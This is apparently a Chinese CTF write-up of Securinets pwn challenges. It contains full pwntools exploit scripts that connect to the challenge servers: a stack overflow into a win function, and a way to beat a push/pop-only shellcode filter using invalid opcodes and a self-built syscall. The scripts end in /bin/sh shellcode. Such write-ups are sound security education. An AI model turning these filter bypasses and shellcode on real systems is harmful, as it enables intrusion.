0x00 前言

好耶,加进su了。花太多时间在那道shellcode上,没时间细看其他题了捏。后续加油复现一下alt text

0x01 题解部分

zip++

check一下

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

vuln()逻辑如下,没看出来什么问题,跟进一下compress
alt textalt text其实当时我没看这个函数是干嘛的,用cyclic(0x300)测试能不能栈溢出的时候发现alt text最后停在了这里,观察16进制数值不难发现其中都是一个可见字符的hex + 一个数字,比如这里就是0x2 61(a) 01 73(s) 01 66(f) 02 61(a) 同时程序中存在后门函数
alt text直接抄cyclic生成的垃圾数据然后稍微改改就行alt text

from pwn import *

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/main'
elf=ELF(file)

choice = 0x001
if choice:
port= 9000
se = 'pwn-14caf623.p1.securinets.tn'
p = remote(se,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

win = 0x00000000004011A5

debug('b *0x00000000040137F')
payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafr'
payload += b'\xa6' * (0x11)
sa('data to compress : \n',payload)

sla('data to compress : \n',b'exit')
itr()

push pull pops

第一次见给python源码的pwn,有点被吓到,但是分析了一下还是做出来了。首先就是我们需要输入经过base64加密的shellcode,然后通过check函数

def check(code: bytes):
if len(code) > 0x2000:
return False

md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True

for insn in md.disasm(code, 0):
name = insn.insn_name()
if name!="pop" and name!="push" :
if name=="int3" :
continue
return False
if insn.operands[0].type!=CS_OP_REG:
return False
return True

之后就会用mmap分配内存区域,然后执行我们的shellcode

def run(code: bytes):

# Allocate executable memory using mmap

mem = mmap.mmap(-1, len(code), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(code)

# Create function pointer and execute
func = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
func()

exit(1)

这题其实是非预期,用一些特殊的指令来绕过check()的检测,只要插入32位模式下有效,但64位下无效的指令就可以。

字节码(Hex) 32位模式下的指令 说明
0x06 push es push/pop 大部分段寄存器的指令在64位下无效
0x07 pop es 同上
0x16 push ss 同上
0x17 pop ss 同上
0x1F pop ds 同上
0x1E push ds 同上
0x27 daa (Decimal Adjust AL after Addition) 用于BCD算术的十进制调整指令
0x2F das (Decimal Adjust AL after Subtraction) 同上
0x37 aaa (ASCII Adjust AL after Addition) 用于BCD算术的ASCII调整指令
0x3F aas (ASCII Adjust AL after Subtraction) 同上
0x60 pusha / pushad 一次性压入所有通用寄存器, 64位下无效
0x61 popa / popad 一次性弹出所有通用寄存器, 64位下无效
0x62 bound 检查数组索引是否越界
0xD4 0A aam (ASCII Adjust AX after Multiply) ASCII调整指令
0xD5 0A aad (ASCII Adjust AX before Division) ASCII调整指令

这些指令都能使导致 capstone 直接返回 None
在输入的shellcode中插入这些字节码就能够截断check(),后续写什么都可以,类似b'\x00'截断strcmp的效果
然后就是利用int3 来动调,简单理解,int3就是打断点,只要在shellcode中加上int3,gdb打开后按下c就会停在int3那里
参考了一下int3是干嘛的:探秘INT3指令

然后就是用push和pop来覆盖掉用来截断的无效字节,最后需要调整一下rsp,然后就是shellcode

from pwn import *

context(arch='amd64', log_level = 'debug',os = 'linux')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x00000000000016FB)')

cmd = 'python3 /mnt/c/Users/Z2023/Desktop/pop/main.py'
# p = process(cmd.split(' '))
#io = remote('127.0.0.1',1337)
p = remote('pwn-14caf623.p1.securinets.tn',9001)
shellcode ='''
push r11
pop rsp
pop r10
pop r10
pop r10
push r10
push r10
'''
payload = asm(shellcode)
payload += b'\x06'
payload += b'\x90'
payload += b'\x90' * 8
payload += asm('add rsp,0x800')
payload += asm(shellcraft.sh())
print(payload)

ru('Shellcode : ')
# gdb.attach(p)
sl(b64e(payload))

itr()

push pull pops REVENGE

与上一题不同的是,这题对我们的输入进行了长度检测

if code_len!=decoded:
print("nice try")
return False

若依旧使用上一题的方法,就会出现decodedcode_len短的情况。这里本地gdb看了一眼,发现rdx中残留了一个05
alt text考虑到远程环境和我本地的区别应该挺大的,就稍微改了一下dockerfile加了点料能让我远程gdb调试。
alt text远程环境这个5是在栈上的,所以我一开始本地打不通的原因就是这个。回到正题,虽然说有长度检测,但是我们只要把非法指令放在最后就不用担心长度检测的问题,这里精心挑选了\x0f

>>> print(disasm(b'\x0f\x05'))
0: 0f 05 syscall

所以只要在shellcode的最后加上

>>> print(disasm(b'\x0f\xA1'))
0: 0f a1 pop fs

就能构造出syscall,我们能随意控制寄存器,所以构造出一个read还是很简单的,构造出来之后就能写入我们自己的shellcode了…这题简直是动调地狱,所以现在来展示一下自己写的这段shellcode到底做了些什么,首先利用read构造syscall得shellcode是这样的:

shellcode = ''
shellcode += '''
pop r9
''' * 16
shellcode += '''
pop rsp
pop r10

pop r9
pop r9
pop r9

pop rdx

push r11
pop rsp

pop r9
pop r9

push rsp
pop rsi

pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
push r10
pop r10
'''

payload = asm(shellcode)

payload += b'\x0f\xA1'

为了方便演示,我们在开头加上int 3,也就是

shellcode = 'int 3'
shellcode += '''
pop r9
''' * 16
...

然后稍微修改一下题目给的dockerfile

# 原来的 CMD
# CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:/app/run

# 新的 CMD,用 gdbserver 启动 socat
# gdbserver 会在容器的 12345 端口上监听 GDB 连接
CMD ["gdbserver", "0.0.0.0:12345", "socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:/app/run"]

build:

docker build -t my-python-app-debug .

run:

docker run -it --rm \
-p 5000:5000 \
-p 12345:12345 \
--cap-add=SYS_PTRACE \
my-python-app-debug

然后准备一下 python 解释器:

# 替换 <container_id> 为容器的 ID
CONTAINER_ID=<container_id>

# 复制 Python 解释器
docker cp ${CONTAINER_ID}:/usr/local/bin/python3.13 .

接着就可以启动gdb了

gdb-multiarch ./python3.13

然后就是连接

pwndbg> target remote localhost:12345
pwndbg> set follow-fork-mode child
pwndbg> c

然后新建一个终端

nc localhost 5000

连接后就能看到程序正在等待我们输入shellcode,因为要求我们输入经过b64加密的,所以可以用

print(b64e(payload))

直接打印,运行一下然后复制下来贴上去,类似这样吧
alt text然后回到gdb这里,就会发现停在int 3这里了,后面就是我们的shellcodealt textok,首先就是我们开头说的在栈上残留的05alt text我们开头的shellcode

pop r9 * 16

pop rsp
pop r10

就是为了将05 pop到r10里面,效果如下:
alt text接着的

pop r9
pop r9
pop r9

是为了凑输入长度,属于垃圾数据,我们来看一下shellcode区域上的内容:alt text,因为我们在开头加了int3(0xcc) 实际上打远程的时候会去掉这个int3 ,所以看起来应该是alt text不难发现我们最后加上的b'\x0f\xa1'a1被挤出来了,我们只需要想办法往那个位置push r10,也就是把a1覆盖成05,这样我们就可以得到syscall。这里为了方便调试,我们直接在gdb里面用set指令给rsp手动加1,模拟远程的情况。
紧接着的

pop rdx

是提前准备好read()的第三个参数,效果如下
alt text随后的

push r11
pop rsp

是为了让rsp指向shellcode区域,为了后续的push做准备
alt text

pop r9
pop r9

push rsp
pop rsi

两个pop r9用作调整rsp,然后是设置rsi,这里设置rsi放后面一些也可以,当时考虑的是因为前面rdx比较小(read的长度有限)所以就把rsi放得尽量后。
alt text接着就是一系列的pop来调整rsp,接着就是push r10,0a覆盖成05

pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
pop r9

push r10

效果大概是这样alt text可以发现,后续的指令就变成了syscall了
alt text而最后这个pop r10单纯是用来填充两个字节的,不然会卡住没办法执行下去,然后大概就是构造了这样一个read出来alt text输入的位置距离下一条指令的位置为0x39字节,所以先填充一下,剩下的长度找一段比较短的shellcode即可。
打远程直接去掉开头的int3就行了。因为把握不好shellcode的长度以及不能很好的控制0f0a的位置,所以造出来的shellcode看起来有点冗余(?)不过好在还是做出来了,所以就无所谓啦。完整exp:

from pwn import *

context(arch='amd64', log_level = 'debug',os = 'linux')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

cmd = 'python3 /mnt/c/Users/Z2023/Desktop/pop_r/main.py'
# p = process(cmd.split(' '))
# p = remote('localhost',5000)
p = remote('pwn-14caf623.p1.securinets.tn',9090)

shellcode = 'int 3'
shellcode += '''
pop r9
''' * 16
shellcode += '''
pop rsp
pop r10

pop r9
pop r9
pop r9

pop rdx

push r11
pop rsp

pop r9
pop r9

push rsp
pop rsi

pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
pop r9
push r10
pop r10
'''

payload = asm(shellcode)

payload += b'\x0f\xA1'

ru(': ')

# gdb.attach(p)
# gdb.attach(target=('localhost', 12345))
# print(b64e(payload))
sl(b64e(payload))


final_shellcode = '''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
'''
final = b'\x90' * 0x39 + asm('add rsp,0x800')+asm(final_shellcode)
print(len(final))
pause()
s(final)

itr()

V-tables (待复现)

__int64 vuln()
{
printf("stdout : %p\n", _bss_start);
read(0, _bss_start, 0xD8uLL);
return 0LL;
}

程序逻辑非常简单,能够让我们劫持stdout结构体,但是后续没有函数触发。。。如果参考之前pwn college的劫持stdout的话是用puts / printf 来触发的。而且这里还写不到vtable,emmm实在想不出来怎么做

spell manager (待复现)

这题跟push pull pops REVENGE是一起上的,但做那题就花了我一天,来不及看这题了
alt text简单看一眼,是个ubuntu:24.04的堆题。其中delete这里应该是有UAF
alt text然后申请堆块是用calloc申请的固定大小的堆块alt text哦还有feedback这里alt text虽然申请堆块的大小能自己控制,但是free之后把指针清零了,没法UAF。后续再来研究一下这个题

Sukunahikona (待复现)

是个v8题,但对v8没概念,也就不太能做出来,但收集了一点信息。先是根据REVISION中的5a2307d0f2c5b650c6858e2b9b57b335a59946ff去chromium review搜了一下。然后找到了chromium-review但这个好像只是一个commit,尝试顺着找对应版本的cve,但是没找出来。。。看不懂的东西太多了大脑有点宕机。。。后面还是转战 push pull pops REVENGE了